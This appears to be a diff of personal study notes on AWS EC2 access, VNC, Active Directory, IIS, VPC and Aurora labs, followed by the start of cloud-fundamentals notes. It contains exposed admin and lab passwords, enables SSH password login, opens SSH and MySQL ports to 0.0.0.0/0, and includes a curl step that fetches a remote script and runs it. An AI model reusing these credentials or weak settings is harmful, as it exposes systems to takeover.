Show/Hide Columns (齿轮状图标),然后选择 Public DNS (IPv4)。) + +![Screen Shot 2020-04-11 at 09.37.45](https://i.imgur.com/5FV5Hmm.png) + +10. 需要几分钟准备好实例,以便您能连接到实例。检查您的实例是否通过了状态检查;您可以在 Status Checks 列中查看此信息。 + +## 2 连接实例 + +### remote desktop + +--- + +**for windows** + +1. 在 Amazon EC2 控制台 > 选择实例 > *Connect*。 +2. Connect To Your Instance > *Download Remote Desktop File*。保存 .rdp 文件。 +3. Connect To Your Instance 对话框中 > *Get Password* (密码在实例启动几分钟之后才可用)。 +4. 选择 Browse > 启动实例时所创建的私有密钥文件 > 选择文件并打开,以便将文件的全部内容复制到 Contents 字段。 +5. 选择 *Decrypt Password*。控制台将在对话框中显示实例的 *默认管理员密码*,会将先前显示的 Get Password (获取密码) 链接替换为实际密码。 +6. 记录默认管理员密码,复制到剪贴板。需要使用此密码连接实例。 + +``` +Public DNS: ec2-54-208-4-102.compute-1.amazonaws.com +User name: Administrator +Password: xpEJy2MC;gB%kNmgoloMu6l57Pm7TmOy +``` + +--- + +**forLinux Ubuntu** + +1. access + +```bash +chmod 400 forubuntu.pem +cd ~ +cd .ssh +vi/touch config + +# IPv4 Public IP 3.22.168.152 +// add follow line +// public ipv4 will Change +// update it every time +Host awsubuntu + HostName 3.22.168.152 + User ubuntu + IdentityFile /Users/luo/Documents/code/aws/forubuntu.pem + +Esc -> :wq +``` + +2. remote access + +```bash + +Create new user with password login + +sudo useradd -m username +sudo passwd username +sudo usermod -aG admin username + +sudo vim /etc/ssh/sshd_config +# edit line +"PasswordAuthentication" no to yes + +sudo /etc/init.d/ssh restart + +------------------------------- + +Setting up ui based ubuntu machine on AWS. +In security group open port 5901. Then ssh to the server instance. Run following commands to install ui and vnc server: +sudo apt-get update //long time +sudo apt-get install ubuntu-desktop +sudo apt-get install vnc4server + +------------------------------- + +sudo apt install x11vnc + +x11vnc -storepasswd +Enter VNC password: +Verify password: +Write password to /home/bob/.vnc/passwd? [y]/n y +Password written to: /home/bob/.vnc/passwd + +x11vnc -usepwsudo + +------------------------------- + +// doesnt works +Then run following commands +enter the login password for vnc connection: + + +su - username + +vncserver + +vncserver -kill :1 +sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal +exec sh /etc/X11/xinit/xinitrc. //error: can open +vim /home/bob/.vnc/xstartup + + +#修改后的配置文件如下所示(原先文件中的可以通过#注释掉) +#!/bin/sh + +export XKL_XMODMAP_DISABLE=1 +unset SESSION_MANAGER +unset DBUS_SESSION_BUS_ADDRESS + +[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup +[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources +xsetroot -solid grey +vncconfig -iconic & +gnome-session & +gnome-panel & +gnome-settings-daemon & +metacity & +nautilus & + +关闭之前建立的那个桌面。再新建一次,此时图形化界面0已经可以用了 + +vncserver -kill :0 +vncserver :0 + +#或利用如下语句桌面0的限定分辨率 +``` + +3. linkit + +```bash +// use your IPv4 Public IP +nmap -T4 -F 3.22.168.152 +//see the port number +5900/tcp open vnc + +//use VNC viewer +3.22.168.152:5900 +// run +``` + +https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/putty.html + +1. connect +```bash +$ ssh -p 22 -i path/to/pemfile centos@ec2-3-20-204-154.us-east-2.compute.amazonaws.com +``` + +2. Install apt-get in CentOS +```bash +curl https://raw.githubusercontent.com/dvershinin/apt-get-centos/master/apt-get.sh -o /usr/local/bin/apt-get +chmod 0755 /usr/local/bin/apt-get +apt-get update + +sudo yum install wget +``` + + +**convert the key** + + +```py +Mac: +1. Installation using Homebrew: `sudo brew install putty` +2. Installation using MacPorts: `sudo port install putty` +3. PuTTY installed, convert PuTTY derived private key format to OpenSSH. + +command – +# convert the private key to standard PEM format +$ puttygen privatekey.ppk -O private-openssh -o privatekey.pem +# Converting .Pem to .Ppk +$ sudo puttygen pemKey.pem -o ppkKey.ppk -O private +``` + +centos@ec2-3-20-204-154.us-east-2.compute.amazonaws.com + + +--- + +## 1.3 终止您的实例 + +1. EC2 > 选择 Instances。 +2. 依次选择 Actions、Instance State 和 Terminate。 +3. 当系统提示您确认时,选择 Yes, Terminate。 +4. Amazon EC2 关闭并终止您的实例。您的实例在终止之后,短时间内仍将在控制台上可见,然后该条目将被删除。 + +--- + +# 2. begin + +## 2.1 Active directory + +### 2.1.1 部署AD + +#### 2.1.1.1 部署环境 + +编号|服务器名称|IP地址|操作系统 +---|---|---|--- +001|AD1|192.168.100.250|Windows Server 2016 Datacenter Evaluation +#### 2.1.1.2 森林模型 +forest root domain: YG +division1: iKON +division1: BP +division1: WINNER + +#### 2.1.1.3 角色安装 +1. server manager > dashboard > add roles and features +2. installation type > **role-based or feature-based installation** +3. server selection > **select a server from the server pool** > *PC1* +4. server roles > **Active Directory domain services** > add features +5. install +6. close + +#### 2.1.1.4 运行AD DS部署向导 +1. (部署新的AD控制器) +2. promote this server to a domain controller > active directory domain services configuration wizard +2. deployment configuration > **add a now forest** > *yg.com* + * add a domain controller to an existing domain:在现有的域控制器中添加新的域控制器 + * add a new domain to an existing forest:在现有的林中新建域,与林中现有的域不同 + * add a now forest:在没有林的情况下新建林 +3. domain controller options 域控制器选项: + * > select functional level of the new forest and root domain: + * forest functional level: 包含Windows Server 2008到Windows Server 2016级别都有 > **Windows Server 2016** + * domain functional level: 只包含Windows Server 2016域功能 > **Windows Server 2016** + * > specify domain controller capabilities 指定域控制器功能 > 默认 + * > type the Directory Services Restore Mode(DSRM) password 键入目录服务还原模式密码> *Password1.* + * > next + * > DNS options > create DNS delegation > 默认不选 +4. additional options > the NetBIOS domain name > *YG* +5. paths > 默认 +6. review options > + +``` +Configure this server as the first Active Directory domain controller in a new forest. + +The new domain name is "yg.com". This is also the name of the new forest. + +The NetBIOS name of the domain: YG + +Forest Functional Level: Windows Server 2016 + +Domain Functional Level: Windows Server 2016 + +Additional Options: + Global catalog: Yes + DNS Server: Yes + Create DNS Delegation: No + +Database folder: C:\Windows\NTDS +Log file folder: C:\Windows\NTDS +SYSVOL folder: C:\Windows\SYSVOL + +The DNS Server service will be configured on this computer. + +This computer will be configured to use this DNS server as its preferred DNS server. + +The password of the new domain Administrator will be the same as the password of the local Administrator of this computer. +``` + +7. prerequisites check > **install** +8. 正在进行自动部署,部署完成后会自动重启服务器 +9. AD域控制器部署完成 > server manager > tool > Active Directory users and computers > 就可以看到我们刚才部署好的域,这样一个完整的域就部署完成了 + +### 2.1.2 新建组织单位、组、用户 + +#### 2.1.2.1 新建组织单位 + +* 组织单位: OU Organizational Unit, 是可以将用户、组、计算机和组织单位放入其中的容器。是可以指派组策略设置或委派管理权限的最小作用域或单元。 +1. server manager > tool > Active Directory users and computers > **yg.com(forest)** > 右击新建 > **OU**,也可以单击工具栏中的“新建组织单位”按钮进行新建组织单位 +2. 设置组织单位名称 > **client user** > 打勾 protect container from accidental deletion > ok. + + +#### 2.1.2.2 新建组 + +* Group: 组可以添加用户成员,也可以隶属于组 +1. server manager > tool > Active Directory users and computers > **client user(OU)** > 右击新建 > **Group**, 也可以单击工具栏中的“新建组”按钮进行新建组 +2. New object - group > group name: **server user** > ok + +#### 2.1.2.3 新建用户 + +* User: 登录到域中计算机的帐户 +1. server manager > tool > Active Directory users and computers > **client user(OU)** > 右击新建 > **user**, 也可以单击工具栏中的“新建组”按钮进行新建组 +2. new object - user > 设置用户pname info... *ljy* > 设置用户password *114114L0.* > finish + +``` +Full name: Jy L +User logon name: ljy@yg.com +The user must change the password at next logon. +``` + +右击“Client User”组织单位-“新建”-“用户”,也可以单击工具栏中的“新建用户”按钮进行新建用户 + +# DNS 配置 +* 一般情况下, 域中有三种计算机: + * 域控制器: 存储着 Active Directory; + * 成员服务器: 负责提供邮件,数据库,DHCP等服务; + * 工作站: 用户使用的客户机。 + +一 DNS前期准备 + +DNS 服务器对域来说是不可或缺的, +一方面,域中的计算机使用 DNS 域名,DNS 需要为域中的计算机提供域名解析服务; +另外一个重要的原因是域中的计算机需要利用 DNS 提供的 SRV 记录来定位域控制器,因此我们在创建域之前需要先做好 DNS 的准备工作。 + +究竟由哪台计算机来负责做 DNS 服务器呢? 一般工程师有两种选择,要么使用域控制器来做 DNS 服务器,要么使用一台单独的 DNS 服务器。 + +这里使用一台独立的计算机来充当 DNS 服务器,这台 DNS 服务器不但为域提供解析服务,也为公司其他的业务提供 DNS 解析支持, 大家可以根据具体的网络环境来选择 DNS 服务器。 + + +## Assigning a FQDN (Fully Qualified Domain Name) to an EC2 Instance Using Route 53 + +```bash +1. create EC2 + +- On the Configure Instance Details page: + - Network: Leave default + - Subnet: us-east-1 + - Auto-assign Public IP: Enable +- On the Add Tags page, add the following tag: + - Key: Name + - Value: FQDN EC2 +- Click Next: Configure Security Group. + - Select Create a new security group. + - Click Add Rule, and set the Type to HTTPS. + - Click Add Rule, and set the Type to HTTP. + +2. connect + +chmod 400 lab.pem +ssh -i "lab.pem" ec2-user@public_dns_of_ec2 + +3. install +sudo yum update -y +sudo yum install -y httpd +sudo service httpd start +sudo chkconfig httpd on + +4. Check http +ec2-100-25-33-79.compute-1.amazonaws.com + + +5. Create Record Sets + +First Record Set +- Navigate to Route 53 in the AWS console. +- Click "Hosted zones". +- Select the listed zone. +- Click "Go to Record Sets". +- Click "Create Record Set". +- Set the following values: + - Name: Leave as-is + - Type: A — IPv4 address + - Alias: No + - TTL (Seconds): 300 + - Value: instances public IP address + - Routing Policy: Simple + - Click Create. + +Second Record Set +- Click Create Record Set. +- Set the following values: + - Name: www + - Type: A — IPv4 address + - Alias: No + - TTL (Seconds): 300 + - Value: instances public IP address + - Routing Policy: Simple + - Click Create. + +After a few minutes, open a new browser tab and paste in the domain names for both record sets we created. They should both result in the Linux Apache test page. + +``` + +### 2.1.4 Active Directory Deployment and Management & Administration +Computers in this lab: + +Virtual Machine | Role +---|--- +DC | An existing domain controller. +Server1 | A future domain controller created during the lab. +Server2 | A future domain controller created during the lab. +*All user accounts in this lab use the password Passw0rd!* + +#### 2.1.4.1 Deploying Remote Domain Controllers +##### 2.1.4.1.1 Add Active Directory Domain Services +* add the *Active Directory Domain Services role* which is required before configuring the server as a *domain controller*. +* logged on to DC as **Contoso\Administrator** with the password *Passw0rd!* + +1. Open **Server Manager**, and then click **Add other servers to manage**. +2. In the Name (CN): dialog box type **Server1**, and then click **Find Now**. +3. Click **Server1**, and then click the **add arrow**. +4. Repeat steps 2-4 to add **Server2**, and then click **OK**. +5. In Server Manager, click **All Servers** +6. Highlight **Server1**, click **Manage**, and then click **Add Roles and Features**. +7. Click **Next** until you reach **Select destination server**. +8. Click **Server1**, and then click **Next**. +9. Check the **Active Directory Domain Services** check box, click **Add Features**, and then click **Next**. +10. Click **Next** until you reach the end of the **wizard**, and then click **Install**. +*NOTE: This does not configure a domain controller, but installs the Active Directory components.* + 11. Once the installation has started, click **Close**. + +##### 2.1.4.1.2 Deploy a second domain controller +* use *Server Manager* to deploy a *second domain controller* on a remote server in your domain. +* logged on to DC as **Contoso\Administrator** with the password *Passw0rd!* + +1. In **Server Manager** > notification flag > click **Task Details**. +* IMPORTANT: You may need to wait for the installation activity from the previous exercise to complete before proceeding. +2. When the feature installation is complete, in the Task Details dialog box, > **Add Roles and Features action**. A configuration is required message is displayed. Click **Close**. +3. In the **Task Details dialog box**, locate the task with the message Configuration required for Active Directory Domain Services at Server1, and then click **Promote this server to a domain controller**. +4. On the **Deployment Configuration page**, click **Change**, type **Contoso\administrator** and the password **Passw0rd!** > **OK**. +5. Click **Next**. +6. On the **Domain Controller Options page**, under Type the Directory Services Restore Mode (DSRM) password, in Password and Confirm password, type **Passw0rd!** > click **Next**. +7. Click **Next** until you reach the Review Options page. +8. Click **View Script**. +9. Save the script file as **InstallDC.txt** on your desktop. +10. Close Notepad. +11. Click **Next**, and then when the prerequisites check completes, click **Install**. +* NOTE: The installation progress will be shown in Server Manager. Wait until complete. +12. Click **OK** if prompted > **Close**. +13. Close the **Task Details** dialog box. +* IMPORTANT: wait for the server to restart before moving to the next step in this lab. + +##### 2.1.4.1.3 Verify the new domain controller +* verify that the new domain controller is operational. +* Perform this task logged on to DC as **Contoso\Administrator** with the password **Passw0rd**! + +1. Open **Server Manager** +2. On the Tools menu, click **Active Directory Sites and Services**. +3. Navigate to **Sites/Default-First-Site-Name** > click **Servers**. +4. Verify that you see **DC** and **Server1** as domain controllers. +5. Minimize the **Active Directory Sites and Services** console. + +##### 2.1.4.1.4 Deploy a third domain controller +* use the *Active Directory module* for Windows PowerShell to deploy a third domain controller. +* Perform this task logged on to DC as **Contoso\Administrator** with the password **Passw0rd**! + +1. On the **taskbar**, click **Windows PowerShell**. +2. Type the following commands, pressing **ENTER** after each one. + +``` +Install +-WindowsFeature +–Name AD-Domain-Services +–ComputerName Server2 +Invoke +-Command +–ComputerName Server2 +–ScriptBlock { +Import-Module ADDSDeployment;Install +-ADDSDomainController +–NoGlobalCatalog:$False +–CreateDNSDelegation:$False +–Credential (Get-Credential) +–CriticalReplicationOnly:$False +–DatabasePath “C:\Windows\NTDS” +–DomainName “Contoso.com” +–InstallDNS:$True +–LogPath “C:\Windows\NTDS” +–NoRebootOnCompletion:$False +–SiteName “Default-First-Site-Name” +–SysVolPath “C:\Windows\SysVol” +} +``` +TIP: You can use tab completion on all parameters to simplify typing. + +3. When prompted for credentials, enter the username *Contoso\Administrator* and the password *Passw0rd!*. +4. prompted for a **SafeModeAdministratorPassword** > type *Passw0rd!* > press ENTER. +5. prompted to confirm the **SafeModeAdministratorPassword** > type *Passw0rd!*> press ENTER. +6. prompted that the server will be configured as a **domain controller** > press **Y** > press ENTER. +7. Wait for the command to complete, and then close the **Windows PowerShell** window. + +##### 2.1.4.1.5 Verify the new domain controller +* verify that the new domain controller is deployed. +* Perform this task logged on to DC as *Contoso\Administrator* with the password *Passw0rd!* +1. From the taskbar, maximize the **Active Directory Sites and Services** console you minimized in a previous step. +2. Navigate to **Sites/Default-First-Site-Name** > click **Servers**. +3. Verify that you see **DC**, **Server1** and **Server2** as domain controllers. + * TIP: You need to press F5 to refresh the view. +4. Close **Active Directory Sites and Services**. + + +# 3. web server +add role - **web server (IIS) (24 of 43 installed)** + +## 3.1 IIS manage +* windows administrative tools > internet information services IIS +* server manager > tools > internet information services IIS +### 3.1.1 server certificates +1. get a **csr** + * create a certificate request + * > distinguished name properties > put your company info + * get a **csr** +2. export > copy to server + * get reply **p7b** form company emial + * > **p7b** > global root **xx**, host **lmsr**. + * > **lms** > right clip **all task** > export **lms.cer** +3. complete certificate install + * > complete certificate request > load **lms.cer** +4. blindling + * sites + * > default web site > right clip > edit blinding + * > add > **https** + * > add site blinding > edit info, host name > SSL certificate > select **lms.cer** > ok + +### 3.1.2 mmc +1. run > mmc +2. > console1 > file > add or remove snap-ins +3. > available snap-ins > certificates > add +3. > computer account > next +4. > local computer > finish +4. > ok +5. get a certificates (Local computer) + +### 3.1.3 CA locally + + +# 4. file server +## 4.1 NAS +1. NAS(file): network attached storage + * multiple pc connected with switch and then connected with NAS + * like facebook + +2. file system + * emc isilon: oneFS + * one the owner has access to the date at his shares + * windows: NTFS + +### 4.1.1 shares +1. computer management > share folders > shares +2. right clip> new share +3. > create a shared folder wizard > folder path (the file you ant to share) > **xx folder** > next +4. > nect +5. > shared folder permission > customer permissions > **custom** +6. > customize permissions > add > **enter the object names to select** +7. > next until finish +8. get a new shared named "xx" +9. reviewed the shared folder +9. xx folder > properties > sharing > advanced settings + +## 4.2 SAN +1. SAN(block): storage area network + * storage thats based on fiber channel/SCSI to create pool of storage + * biliding VMs, servers, + + +# 5. DNS +DNS服务器是(Domain Name System)域名系统或者域名服务,域名系统为Internet上的主机分配域名地址和IP地址。用户使用域名地址,该系统就会自动把域名地址转为IP地址。 +transfer ip address to domain name. +域名服务是运行域名系统的Internet工具。执行域名服务的服务器称之为DNS服务器,通过DNS服务器来应答域名服务的查询。 + +## 5.1 install roles: DNS + +## 5.3 DNS 设置 + +## registry editor + +* to remote someone pc +1. Pc > regedit +2. > Computer > local_user > system > currentcontrolset > control > Terminal Sserver + * > fDenyTSConnections + * 1 > noone can remote my pc + * 0 > allow remote control +3. > file > connect network registry + +* **computer management** +* > service and application > services +* > `remote registry` > change `disable` to `automatically` + +// but it can be change remotely + +* **computer management** +* > right clip > remote other computer +* > System tools > task viewer > create basic task + +* **computer management** +* > System tools> task viewer > create basic task + * Shutdown -r + + +--- + +# 6. VPN + +1. **create VPC** + +![Screen Shot 2020-06-08 at 21.01.34](https://i.imgur.com/hDziQy9.png) + +2. **Create Subnet** + - Subnets > Create subnet + +3. **Create Network Access Control Lists (NACLs)** + - Network ACLs > Create network ACL + - inbound/outbound rules + - subnet association: associate Each with the Proper Subnet + +3. **Create Internet Gateway** + - Create internet gateway. + - Actions > Attach to VPC. + + +4. **Create Route Tables** + - if link to internet: + - add Add route + - Destination: 0.0.0.0/0 + - Target: Internet Gateway > IGW + + +--- + +# Database + +1. Configure the Security Groups, Route Tables, and NACL + - NACL permits + - port 22 for `SSH` + - port 3306 for `MySQL/Aurora`. + - two route tables exist: one utilizing an internet gateway and another with no IGW/NAT routes. + - Verify the private subnet is associated with the route table that does not contain an internet gateway. + - Verify the public subnet is associated with the route table that does contain an internet gateway. + - security group + - containing rules to permit port 22 and 3306 from 0.0.0.0/0, and assign this security group to the EC2 bastion. + + +2. Create an RDS Aurora Database + - Create a T2.small RDS Aurora database, ensuring the database is launched in a private subnet. + - Ensure the security group associated with the RDS Aurora database permits traffic on TCP 3306. + - Use MySQL Workbench to verify connectivity, ensuring the Connection Method is set to Standard TCP/IP over SSH, and SSH Key File is set to your previously downloaded .pem key. + +2. Create Database Subnet Group + - Navigate to RDS. + - Click Subnet groups in the left-hand menu. + - Click Create DB Subnet Group, and set the following values: + - Click Add all the subnets related to this VPC. + - When the list of subnets appear, click to Remove the public subnet. + +3. Create Database + - Click `Databases` in the left-hand menu. + - Click `Create database`. + - **Engine options** section: + - Engine type: `Amazon Aurora` + - Edition: `Amazon Aurora with MySQL compatibility` + - Version: `Aurora(MySQL)-5.6.10a` + - Database Location: `Regional` + - **Database features** section: select `One writer and multiple readers`. + - **Templates** section: `Dev/Test`. + - **Settings**: + - DB cluster identifier: `AuroraInstance` + - Master username: `Admin` + - Master password: + - **DB instance size** section: + - DB instance class: `Burstable classes (includes t classes)` > select `db.t2.small` + - **Availability & durability** section: + - set Multi-AZ deployment to `Create an Aurora Replica/Reader node in a different AZ`. + - **Connectivity** section, ensure the `LinuxAcademy` VPC is selected. + - Expand **Additional connectivity configuration**. + - Select the Aurora Subnet Group + - Set the Publicly accessible flag to No. + - Under VPC security group, select Choose existing, remove the default security group, and select the previously created security group named Database. + - **Additional configuration** section, set the following values: + - **Database Options** section: DB instance identifier to `AuroraInstance` + - **Database Options** section: Initial database name to `Testdb` + - **Monitoring** section, `disable enhanced monitoring` + - **Deletion protection** section, `disable deletion protection` + - Create database. It will take a few minutes to finish being created. + +On the database dashboard, click aurorainstance. +Copy the endpoint name that's associated with the Writer type, and paste it into text file, as we'll need it for the next step. (Note: Make sure you wait until its status is Available before attempting to connect in the next step.) + +4. Verify Connectivity Using MySQL Workbench + - Open MySQL Workbench. + - Click the plus sign by `MySQL Connections`. + - **Setup New Connection** dialog, set the following values: + - Connection Name: Aurora + - Connection Method: Standard TCP/IP over SSH + - SSH Hostname: Paste in the public IP address of our EC2 instance (which you copied earlier) + - SSH Username: ec2-user + - SSH Key File: Select the .pem key file we previously downloaded + - MySQL Hostname: Paste in the endpoint name you copied in the previous part of the lab + - Username: Admin + - Password: Store in Vault..., and enter the password you entered when creating the database + - Click Test Connection. + - If an error pops up, this is fine — click Ok. + - You should eventually see the connection was successful. + - Click OK in the Setup New Connection dialog. + + - Double-click the new Aurora connection option that now exists, which will open the SQL Editor. + - Run the query `SHOW DATABASES`; return the TestDb schema — the one we identified while creating the Aurora database. + - Conclusion + - Congratulations on completing this hands-on lab! + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-LAB-AWSCertifiedCloudPractitionerexam.ACFv2EN-Interns.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-LAB-AWSCertifiedCloudPractitionerexam.ACFv2EN-Interns.md new file mode 100644 index 00000000000..251029b48c8 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-LAB-AWSCertifiedCloudPractitionerexam.ACFv2EN-Interns.md @@ -0,0 +1,1001 @@ +--- +title: AWS Lab - ACFv2EN-Interns +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + + +# ACFv2EN-Interns. + +- [ACFv2EN-Interns.](#acfv2en-interns) + - [Module 1 Overview](#module-1-overview) + - [cloud computing:](#cloud-computing) + - [different types of cloud computing models](#different-types-of-cloud-computing-models) + - [three main cloud computing deployment models](#three-main-cloud-computing-deployment-models) + - [six advantages of cloud computing](#six-advantages-of-cloud-computing) + - [the main Amazon Web Services AWS service categories and core services](#the-main-amazon-web-services-aws-service-categories-and-core-services) + - [the AWS Cloud Adoption Framework (AWS CAF)](#the-aws-cloud-adoption-framework-aws-caf) + - [Module 2 Overview](#module-2-overview) + - [fundamentals of pricing](#fundamentals-of-pricing) + - [TCO total cost of owernship](#tco-total-cost-of-owernship) + - [AWS organizations](#aws-organizations) + - [access AWS Organizations](#access-aws-organizations) + - [billing and cost management](#billing-and-cost-management) + - [Reserved Instances (RIs)](#reserved-instances-ris) + - [aws Support](#aws-support) + - [Module 3 Overview](#module-3-overview) + - [AWS Regions, Availability Zones, and edge locations](#aws-regions-availability-zones-and-edge-locations) + - [AWS services and service categories](#aws-services-and-service-categories) + - [AWS Storage](#aws-storage) + - [AWS compute](#aws-compute) + - [AWS database](#aws-database) + - [AWS networking and content delivery](#aws-networking-and-content-delivery) + - [AWS security, identity and compliance](#aws-security-identity-and-compliance) + - [AWS cost management](#aws-cost-management) + - [AWS management and governance](#aws-management-and-governance) + - [Module 4 Overview](#module-4-overview) + - [AWS shared responsibility model](#aws-shared-responsibility-model) + - [AWS Identity and Access Management (IAM)](#aws-identity-and-access-management-iam) + - [authenticate as an IAM user](#authenticate-as-an-iam-user) + - [IAM policy](#iam-policy) + - [IAM group](#iam-group) + - [IAM roles](#iam-roles) + - [Securing accounts](#securing-accounts) + - [AWS Organizations](#aws-organizations-1) + - [Service control policies (SCPs)](#service-control-policies-scps) + - [AWS Key Management Service (AWS KMS)](#aws-key-management-service-aws-kms) + - [Amazon Cognito](#amazon-cognito) + - [AWS Shield](#aws-shield) + - [secure AWS data](#secure-aws-data) + - [AWS compliance programs](#aws-compliance-programs) + - [Module 5 Overview](#module-5-overview) + - [Amazon Virtual Private Cloud (Amazon VPC)](#amazon-virtual-private-cloud-amazon-vpc) + - [IP addressing](#ip-addressing) + - [VPC Networking](#vpc-networking) + + +![learning-paths_architect_combined.8aef9e5a292422b17411b2cec6d1009ea786e422](https://i.imgur.com/huJhEhq.png) + +https://aws.amazon.com/training/path-architecting/ + +[toc] + +--- + +## Module 1 Overview + +### cloud computing: +- Cloud computing is the *on-demand* delivery of `compute power, database, storage, applications, and other IT resources` via the internet with *pay-as-you-go pricing*. +- These resources run on server computers that are located in large data centers in different locations around the world. +- use a cloud service, service provider owns the computers that you are using. These resources can be used together like building blocks to build solutions that help meet business goals and satisfy technology requirements. + + +### different types of cloud computing models + +- **traditional computing model** + - infrastructure is thought of as `hardware. Hardware solutions` are physical + - require `space, staff, physical security, planning, and capital expenditure` + - the `long hardware procurement 采购 cycle` that involves acquiring, provisioning, and maintaining on-premises infrastructure. + - enough resource capacity or sufficient storage? + - provision capacity by guessing theoretical maximum peaks.(pay resources stay idle / don’t have sufficient capacity to meet your needs). + - if your needs change, then spend the time, effort, and money required to implement a new solution. + - For example, if you wanted to provision a new website, you would need to buy the hardware, rack and stack it, put it in a data center, and then manage it or have someone else manage it. + - This approach is expensive and time-consuming. + +- **Infrastructure as a Service (IaaS)** + - IaaS contains the basic building blocks for cloud IT. *software solutions* + - *flexible*. + - select the cloud services best match the needs and provision, terminate those resources on-demand, pay as use. You can elastically scale resources up and down in an automated fashion. With the cloud computing model, you can treat resources as temporary and disposable. + - The flexibility that cloud computing offers enables businesses to implement new solutions quickly and with low upfront costs. + - Compared to hardware solutions, software solutions can change much more quickly, easily, and cost-effectively. + - Cloud computing helps *eliminate undifferentiated heavy-lifting tasks* like procurement, maintenance, and capacity planning, thus enabling them to focus on what matters most. + - *several different service models and deployment strategies* emerged to meet the specific needs of different users. Each type of cloud service model and deployment strategy provides you with a different level of control, flexibility, and management. Understanding the differences between these cloud service models and deployment strategies can help you decide what set of services is right for your needs. + - It typically *provides access to networking features, computers (virtual or on dedicated hardware), and data storage space*. + - IaaS gives you the highest level of flexibility and management control over your IT resources. It is most similar to the existing IT resources with which many IT departments and developers are familiar. + +- **Platform as a Service (PaaS)** + - PaaS *removes the management of underlying infrastructure* (usually hardware and operating systems), and allows you to focus on the *deployment and management of your applications*. + - This helps you be more efficient as you don’t need to worry about resource procurement, capacity planning, software maintenance, patching, or any of the other undifferentiated heavy lifting involved in running your application. + + +- **Software as a Service (SaaS)** + - SaaS provides you with a complete product that is run and managed by the service provider. In most cases, people referring to SaaS are referring to *end-user applications* (such as web-based email). + - With a SaaS offering, you don’t have to think about how the service is maintained or how the underlying infrastructure is managed. You only need to think about how you will use that particular software. + + +### three main cloud computing deployment models + + - represent the cloud environments that your applications can be deployed in: + - **Cloud**: + - A *cloud-based application* is fully deployed in the cloud, and all parts of the application run in the cloud. Applications in the cloud have either been created in the cloud or have been migrated from an existing infrastructure. + - Cloud-based applications can be built on low-level infrastructure pieces or they can use higher-level services that provide abstraction from the management, architecting, and scaling requirements of core infrastructure. + - **Hybrid**: + - A hybrid deployment is a way to *connect infrastructure/applications between cloud-based resources and existing resources not in cloud*. The most common method of hybrid deployment is between the cloud and *existing on-premises infrastructure*. + - This model enables an organization to extend and grow their infrastructure into the cloud while connecting cloud resources to internal systems. + - **On-premises**: + - Deploying resources on-premises, using virtualization and resource management tools, sometimes called private cloud. + - While on-premises deployment does not provide many of the benefits of cloud computing, it is sometimes sought for its ability to provide dedicated resources. + - In most cases, this deployment model is the same as legacy IT infrastructure, but it might also use application management and virtualization technologies to increase resource utilization. + + + +### six advantages of cloud computing + +1. Advantage #1 — Trade `capital expense` for `variable expense`: + - Capital expenses (capex): funds that a company uses to acquire, upgrade, and maintain physical assets such as property, industrial buildings, or equipment. + - variable expense: expense that the person who bears the cost can easily alter or avoid. + - Maintenance is reduced + +2. Advantage #2 — Benefit from `massive economies of scale`: + - a lower variable cost than you can get on your own. Because usage from hundreds of thousands of customers is aggregated in the cloud, providers such as AWS can achieve higher economies of scale, which translates into lower pay-as-you-go prices. + +3. Advantage #3 — Stop guessing `capacity`: + - Eliminate guessing infrastructure capacity needs. When you make a capacity decision before you deploy an application, expensive idle resources / limited capacity. With cloud computing, these problems go away. You can access as much or as little as you need, and scale up and down as required with only a few minutes’ notice. + +4. Advantage #4 — Increase `speed and agility`: + - In cloud computing environment, new IT resources are only a click away, reduce the time to make those resources available. dramatic increase agility for the organization because the cost and time that it takes to experiment and develop are significantly lower. + +5. Advantage #5 — Stop spending money on running and maintaining data centers: + - Focus on projects that differentiate your business instead of focusing on the infrastructure. + +6. Advantage #6 — `Go global` in minutes: + - You can deploy your application in multiple AWSRegions around the world with just a few clicks. provide a lower latency and better experience for your customers simply and at minimal cost. + +- Agility 敏捷 `/ə'dʒiləti/` + - *easy access* to a broad range of technologies to innovate faster and build nearly anything. + - You can quickly spin up resources as you need them from infrastructure services, such as compute, storage, and databases, to IoT, machine learning, data lakes and analytics... + - You can deploy technology services in a matter of minutes, and get from idea to implementation several orders of magnitude faster than before. + - the freedom to experiment, test new ideas to differentiate customer experiences, and transform your business. +- Elasticity 弹力 `/elæ'stɪsɪtɪ/` + - avoid over-provision resources up front to handle peak levels of business activity in the future. but the amount of resources that actually need. You can scale these resources up or down to instantly to grow and shrink capacity as your business needs change. +- Cost savings + - The cloud allows you to trade capital expenses (such as data centers and physical servers) for variable expenses, and only pay for IT as you consume it. Plus, the variable expenses are much lower than what you would pay to do it yourself because of the economies of scale. +- Deploy globally in minutes + - With the cloud, you can expand to new geographic regions and deploy globally in minutes. + - For example, AWS has infrastructure all over the world, so you can deploy your application in multiple physical locations with just a few clicks. + - Putting applications in closer proximity to end users reduces latency and improves their experience. + +similarities between AWS and the traditional, on-premises IT space: + +![Screen Shot 2020-05-04 at 16.22.11](https://i.imgur.com/PGeBOJo.png) + + + +### the main Amazon Web Services AWS service categories and core services + +web service +- is any piece of software that makes itself available over the internet or on private (intranet) networks. +- uses a standardized format — such as Extensible Markup Language (XML) or JavaScript Object Notation (JSON)—for the request and the response of an application programming interface (API) interaction. It is not tied to any one operating system or programming language.It’s self-describing via an interface definition file and it is discoverable. + +**Amazon Web Services (AWS)** +- a *secure cloud platform* that offers a broad set of global *cloud-based products*. +- Because these products are delivered over the internet, you have on-demand access to the `compute, storage, network, database, and other IT resources and the tools to manage them`. You can immediately provision and launch AWS resources. The resources are ready for you to use in minutes. +- AWS offers *flexibility*. Your AWS environment can be reconfigured and updated on demand, scaled up or down automatically to meet usage patterns and optimize spending, or shut down temporarily or permanently. The billing for AWS services becomes an operational expense instead of a capital expense. +- AWS services are designed to work together to support virtually any type of application or workload. Think of these services like building blocks, which you can assemble quickly to build sophisticated, scalable solutions, and then adjust them as your needs change. + +![Screen Shot 2020-05-04 at 16.43.39](https://i.imgur.com/bNMqvxW.png) + +Which service depend on business goals and technology requirements. +- Amazon EC2: complete control over your AWS computing resources. +- AWS Lambda: to 